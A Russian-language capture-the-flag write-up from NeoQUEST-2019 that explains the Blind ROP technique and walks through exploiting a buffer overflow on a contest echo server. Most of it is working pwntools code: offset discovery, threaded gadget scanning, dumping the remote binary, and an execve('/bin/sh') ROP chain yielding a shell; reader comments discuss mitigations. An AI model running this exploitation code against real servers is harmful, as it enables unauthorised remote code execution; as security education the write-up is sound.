Сервер, ты меня слышишь? BROP-атака на примере задания NeoQUEST-2019



    Как найти уязвимость на сервере, не имея информации о нём? Чем BROP отличается от ROP? Можно ли скачать исполняемый файл с сервера через переполнение буфера? Добро пожаловать под кат, разберём ответы на эти вопросы на примере прохождения задания NeoQUEST-2019!

    Даны адрес и порт сервера: 213.170.100.211 10000. Попробуем подключиться к нему:


    На первый взгляд — ничего особенного, обычный echo-сервер: возвращает нам то же, что мы ему сами и отправили.

    Поиграв с размером передаваемых данных, можно заметить, что при достаточно большой длине строки сервер не выдерживает и прекращает соединение:


    Хмм, похоже на переполнение.

    Найдем длину буфера. Можно просто перебирать значения, инкрементируя их, пока мы не получим нестандартный вывод от сервера. А можно проявить немного смекалки и ускорить процесс при помощи бинарного поиска, проверяя, упал или не упал сервер после очередного запроса.

    Определение длины буфера
    from pwn import *
    import threading
    import time
    import sys
    
    ADDR = "213.170.100.211"
    PORT = 10000
    
    def find_offset():
        start = 0
        end = 200
        while True:
            conn = remote(ADDR, PORT)
            curlen = (start + end) // 2
    
            print("Testing {}".format(curlen))
    
            payload = b'\xff' * curlen
    
            conn.send(payload)
            time.sleep(0.5)
            r = conn.recv()
            payload = b'\xff' * (curlen)
            conn.send(payload)
            try:
                r = conn.recv()
                start = curlen
    
                payload = b'\xff' * (curlen + 1)
                conn.send(payload)
                time.sleep(0.5)
                r = conn.recv()
    
                conn.send(payload)
                try:
                    r = conn.recv()
                except EOFError:
                    print("\nBuffer length is {}".format(curlen), flush=True)
                    return curlen
            except EOFError:
                end = curlen
    
        return -1
    



    Итак, длина буфера равна 136. Если отправить серверу 136 байт, то мы перетираем нульбайт в конце нашей строки на стек и получаем идущие за ней данные – значение 0x400155. А это, судя по всему, является адресом возврата. Таким образом, мы можем контролировать поток исполнения. Но самого исполняемого файла у нас нет, и мы не знаем, где именно могут располагаться ROP-гаджеты, которые бы позволили нам получить шелл.

    Что же можно с этим сделать?

    Существует специальная техника, которая позволяет решать такого рода задачи при условии контролирования адреса возврата – Blind Return Oriented Programming. По сути, BROP – это сканирование «вслепую» исполняемого файла на предмет гаджетов. Мы перезаписываем адрес возврата каким-либо адресом из text-сегмента, выставляем на стеке параметры для искомого гаджета и анализируем поведение программы. По итогам анализа рождается предположение, угадали мы или нет. Важную роль играют специальные вспомогательные гаджеты – Stop(его выполнение не приведет к завершению работы программы) и Trap (его выполнение заставит программу завершиться). Таким образом, сначала находятся вспомогательные гаджеты, и с их помощью уже ищутся нужные (как правило, для того, чтобы вызвать write и получить исполняемый файл).

    Например, мы хотим найти гаджет, который помещает одно значение со стека в регистр и выполняет ret. Будем записывать тестируемый адрес вместо адреса возврата, чтобы передать на него управление. После него запишем адрес ранее найденного нами Trap-гаджета, и за ним – адрес Stop-гаджета. Что в итоге получается: если сервер упал (сработал Trap), то по текущему тестируемому адресу расположен гаджет, который не соответствует искомому: он не убирает адрес Trap-гаджета со стека. Если же сработал Stop, то текущий гаджет может быть как раз тем, который мы и ищем: он убрал одно значение со стека. Таким образом можно искать гаджеты, соответствующие определенному поведению.


    Но в данном случае перебор можно упростить. Мы точно знаем, что сервер печатает нам какое-то значение в ответ. Можно попробовать просканировать различные адреса в исполняемом файле, и посмотреть, не попадем ли мы снова на код, выводящий строку.

    Обнаружение гаджета
    lock = threading.Lock()
    
    def safe_get_next(gen):
        with lock:
            return next(gen)
    
    def find_puts(offiter, buffsize, base=0x400000):
    
        offset = 0
    
        while True:
            conn = remote(ADDR, PORT)
    
            try:
                offset = safe_get_next(offiter)
            except StopIteration:
                return
    
            payload = b'A' * buffsize
            payload += p64(base + offset)
    
            if offset % 0x10 == 0:
                print("Checking address {:#x}".format(base + offset), flush=True)
    
            conn.send(payload)
            time.sleep(2)
    
            try:
                r = conn.recv()
                r = r.strip(b'A' * buffsize)[3:]
                if len(r) > 0:
                    print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True)
            except:
                pass
            finally:
                conn.close()
    
    offset_iter = iter(range(0x200))
    for _ in range(16):
    threading.Thread(target=find_puts, 
    args=(offset_iter, buffer_size, 0x400100)).start()
    time.sleep(1)



    Как же нам с помощью этой утечки получить исполняемый файл?

    Мы знаем, что сервер пишет строку в ответ. Когда переходим по адресу 0x40016f, параметры функции вывода заполнены каким-то мусором. Так как, судя по адресу возврата, мы имеем дело с 64-разрядным исполняемым файлом, параметры функций располагаются в регистрах.

    А что, если бы мы нашли такой гаджет, который бы позволил нам контролировать содержимое регистров (помещать их туда со стека)? Давайте попробуем найти его, используя ту же технику. Мы можем положить любое значение на стек, верно? Значит, нам нужно отыскать pop-гаджет, который бы помещал наше значение в нужный регистр перед вызовом функции вывода. Положим в качестве адреса строки адрес начала ELF-файла (0x400000). Если мы найдем нужный гаджет, то сервер должен будет напечатать в ответ сигнатуру 7F 45 4C 46.


    Поиск гаджета продолжается
    def find_pop(offiter, buffsize, puts, base=0x400000):
    
        offset = 0
    
        while True:
            conn = remote(ADDR, PORT)
    
            try:
                offset = safe_get_next(offiter)
            except StopIteration:
                return
    
            if offset % 0x10 == 0:
                print("Checking address {:#x}".format(base + offset), flush=True)
    
            payload = b'A' * buffsize
            payload += p64(base + offset)
            payload += p64(0x400001)
            payload += p64(puts)
    
            conn.send(payload)
            time.sleep(1)
    
            try:
                r = conn.recv()
                r = r.strip(b'A' * buffsize)[3:]
                if b'ELF' in r:
                    print("Binary leak at at {:#x}".format(base + offset), flush=True)
            except:
                pass
            finally:
                conn.close()
    
    
    offset_iter = iter(range(0x200))
    for _ in range(16):
    threading.Thread(target=find_pop, 
    args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start()
        	time.sleep(1)



    Используя полученную связку адресов, выкачаем исполняемый файл с сервера.

    Извлечение файла
    def dump(buffsize, pop, puts, offset, base=0x400000):
        conn = remote(ADDR, PORT)
    
        payload = b'A' * buffsize
        payload += p64(pop)
        payload += p64(base + offset) # what to dump
        payload += p64(puts)
    
        conn.send(payload)
        time.sleep(0.5)
        r = conn.recv()
    
        r = r.strip(b'A' * buffsize)
    
        conn.close()
    
        if r[3:]:
            return r[3:]
    
        return None


    Посмотрим его в IDA:


    Адрес 0x40016f ведет нас к syscall, а 0x40017fpop rsi; ret.

    Теперь, имея на руках исполняемый файл, можно построить ROP-цепочку. Тем более, что в нем оказалась еще и строка /bin/sh!


    Сформируем цепочку, которая бы вызвала system с аргументом /bin/sh. Информацию по системным вызовам в 64-битном Linux можно найти, например, тут.

    Последний шажочек
    def get_shell(buffsize, base=0x400000):
        conn = remote(ADDR, PORT)
    
        payload = b'A' * buffsize
        payload += p64(base + 0x17d)
        payload += p64(59)
        payload += p64(0)
        payload += p64(0)
        payload += p64(base + 0x1ce)
        payload += p64(base + 0x1d0)
        payload += p64(base + 0x17b)
    
        conn.send(payload)
        conn.interactive()


    Запустим эксплоит и получим шелл:


    Победа!

    NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433

    Совсем скоро появятся врайтапы и к остальным заданиям online-этапа NeoQUEST-2019. А «Очная ставка» состоится уже 26 июня! Новости будут появляться на сайте мероприятия, не пропустите!
    НеоБИТ
    Company

    Comments 8

      0

      Интересный метод. А можете привести примеры trap и stop гаджетов?
      И интересно как подобный метод можно применить для других архитектур.

        0
        простейший трап — это 0й адрес
        для stop'а надо найти спокойное завершение
          0
          В контексте blind rop`a trap и stop гаджеты — это не какие-то конкретные инструкции, а части кода, которые при выполнении ведут себя соответственно. Как уже написали, самый простой trap — нулевой адрес. Stop же должен просто сигнализировать нам, что он выполнился (не падать, в отличие от trap) — это может быть, например, адрес начала цикла обработки запроса, какой-то вывод и тд.
          В зависимости от особенностей различных архитектур подход будет усложняться (например, адреса возврата могут располагаться в регистрах и тд).
          0
          А RETGUARD для боротьбы с такой атакой годится? Гаджеты вы может и найдёте, но рабочую цепочку вы сможете построить только наугад, вы же не знаете с каким значением ксорится адрес возврата?
            0
            Да, кажется, эта техника будет мешать эксплуатации. Впрочем, почти все, что защищает от обычного ROP, помогает и против его «слепой» вариации.
            0
            NWOcs проверьте плиз состояние этого хоста 213.170.100.211, он в дауне, спасибо заранее
              0
              Да, все верно — спустя месяца после окончания online-этапа NeoQUEST мы выключаем задания.

          Only users with full accounts can post comments. Log in, please.